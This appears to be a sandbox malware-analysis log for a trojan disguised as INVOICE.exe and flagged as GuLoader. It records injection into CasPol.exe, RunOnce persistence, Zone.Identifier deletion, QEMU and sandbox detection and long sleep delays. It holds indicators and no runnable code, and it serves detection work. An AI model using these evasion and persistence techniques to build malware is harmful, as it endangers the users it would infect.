Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B507F2	0_2_02B507F2
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B507FA	0_2_02B507FA
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50BEC	0_2_02B50BEC
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51BD9	0_2_02B51BD9
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B503CE	0_2_02B503CE
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B58737	0_2_02B58737
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B58336	0_2_02B58336
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51B2D	0_2_02B51B2D
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50F07	0_2_02B50F07
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B58777	0_2_02B58777
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B7F	0_2_02B50B7F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B64	0_2_02B50B64
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B67	0_2_02B50B67
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57B66	0_2_02B57B66
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B61	0_2_02B50B61
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5076C	0_2_02B5076C
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B55	0_2_02B50B55
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B57	0_2_02B50B57
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B50	0_2_02B50B50
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B5D	0_2_02B50B5D
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B5F	0_2_02B50B5F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5035E	0_2_02B5035E
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B59	0_2_02B50B59
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B5B	0_2_02B50B5B
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B45	0_2_02B50B45
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B47	0_2_02B50B47
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57746	0_2_02B57746
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B43	0_2_02B50B43
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B4D	0_2_02B50B4D
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51B4F	0_2_02B51B4F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B49	0_2_02B50B49
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50B4B	0_2_02B50B4B
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B504BE	0_2_02B504BE
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50C9E	0_2_02B50C9E
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50480	0_2_02B50480
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5088B	0_2_02B5088B
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B518F3	0_2_02B518F3
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51CF9	0_2_02B51CF9
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B518E3	0_2_02B518E3
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50CE3	0_2_02B50CE3
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B508E2	0_2_02B508E2
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B578E8	0_2_02B578E8
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B500DC	0_2_02B500DC
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B500C2	0_2_02B500C2
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B594CE	0_2_02B594CE
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B598CB	0_2_02B598CB
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5043C	0_2_02B5043C
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50C2F	0_2_02B50C2F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51C1A	0_2_02B51C1A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50001	0_2_02B50001
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50400	0_2_02B50400
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5000D	0_2_02B5000D
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50C6A	0_2_02B50C6A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50845	0_2_02B50845
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57842	0_2_02B57842
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B509BE	0_2_02B509BE
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50DBA	0_2_02B50DBA
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50197	0_2_02B50197
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B519F2	0_2_02B519F2
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B595E4	0_2_02B595E4
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B579E7	0_2_02B579E7
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B509EF	0_2_02B509EF
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50DD8	0_2_02B50DD8
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50926	0_2_02B50926
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50520	0_2_02B50520
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50928	0_2_02B50928
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50116	0_2_02B50116
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50D1A	0_2_02B50D1A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50504	0_2_02B50504
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51976	0_2_02B51976
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5797F	0_2_02B5797F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B67564	0_2_02B67564
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5756F	0_2_02B5756F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5096E	0_2_02B5096E
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50569	0_2_02B50569
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5956A	0_2_02B5956A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5015F	0_2_02B5015F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50D4B	0_2_02B50D4B

Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B6868C NtProtectVirtualMemory,	0_2_02B6868C
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B663E8 LoadLibraryA,NtAllocateVirtualMemory,	0_2_02B663E8
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B68D4B NtResumeThread,	0_2_02B68D4B

Source: System.Threading.dll.0.dr

Static PE information: No import functions for PE file found

Source: C:\Users\user\Desktop\INVOICE.exe	Section loaded: edgegdi.dll			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll			Jump to behavior

Source: INVOICE.exe

Static PE information: invalid certificate

Source: INVOICE.exe	Virustotal: Detection: 14%
Source: INVOICE.exe	ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\INVOICE.exe

File read: C:\Users\user\Desktop\INVOICE.exe

Jump to behavior

Source: INVOICE.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\INVOICE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\INVOICE.exe "C:\Users\user\Desktop\INVOICE.exe"
Source: C:\Users\user\Desktop\INVOICE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\INVOICE.exe"
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\INVOICE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\INVOICE.exe"	Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

0_2_0040352D

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File created: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

File created: C:\Users\user\AppData\Local\Temp\nstB3EB.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/13@77/2

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_004021AA CoCreateInstance,

0_2_004021AA

Source: C:\Users\user\Desktop\INVOICE.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040498A

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{e2d76446-64a1-46f3-8813-50732b47912e}

Source: C:\Users\user\Desktop\INVOICE.exe

File written: C:\Users\user\AppData\Local\Temp\updater.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\heliolitidae

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: INVOICE.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbw{ source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\net6.0-Release\System.Threading.pdb source: System.Threading.dll.0.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Handles\net6.0-Release\System.Runtime.Handles.pdb source: System.Runtime.Handles.dll.0.dr
Source:	Binary string: System.Threading.ni.pdb source: System.Threading.dll.0.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000000.844018063.0000000001130000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_73E830C0 push eax; ret	0_2_73E830EE
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5451F pushfd ; retf AF77h	0_2_02B542B9
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57195 push edx; ret	0_2_02B57196

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_73E81BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73E81BFF

Source: System.Runtime.Handles.dll.0.dr

Static PE information: 0xABF00243 [Sun May 29 22:59:15 2061 UTC]

Source: C:\Users\user\Desktop\INVOICE.exe	File created: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\INVOICE.exe	File created: C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\Users\user\Desktop\INVOICE.exe	File created: C:\Users\user\AppData\Local\Temp\System.Threading.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: INVOICE.exe, 00000000.00000002.1044105230.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, INVOICE.exe, 00000000.00000002.1042576005.0000000000658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: INVOICE.exe, 00000000.00000002.1042576005.0000000000658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXELL
Source: INVOICE.exe, 00000000.00000002.1044105230.0000000002C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3360	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7876	Thread sleep time: -240000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\INVOICE.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll			Jump to dropped file
Source: C:\Users\user\Desktop\INVOICE.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\System.Threading.dll			Jump to dropped file

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_02B516A6 rdtsc

0_2_02B516A6

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 415	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 997	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: foregroundWindowGot 1402	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C49
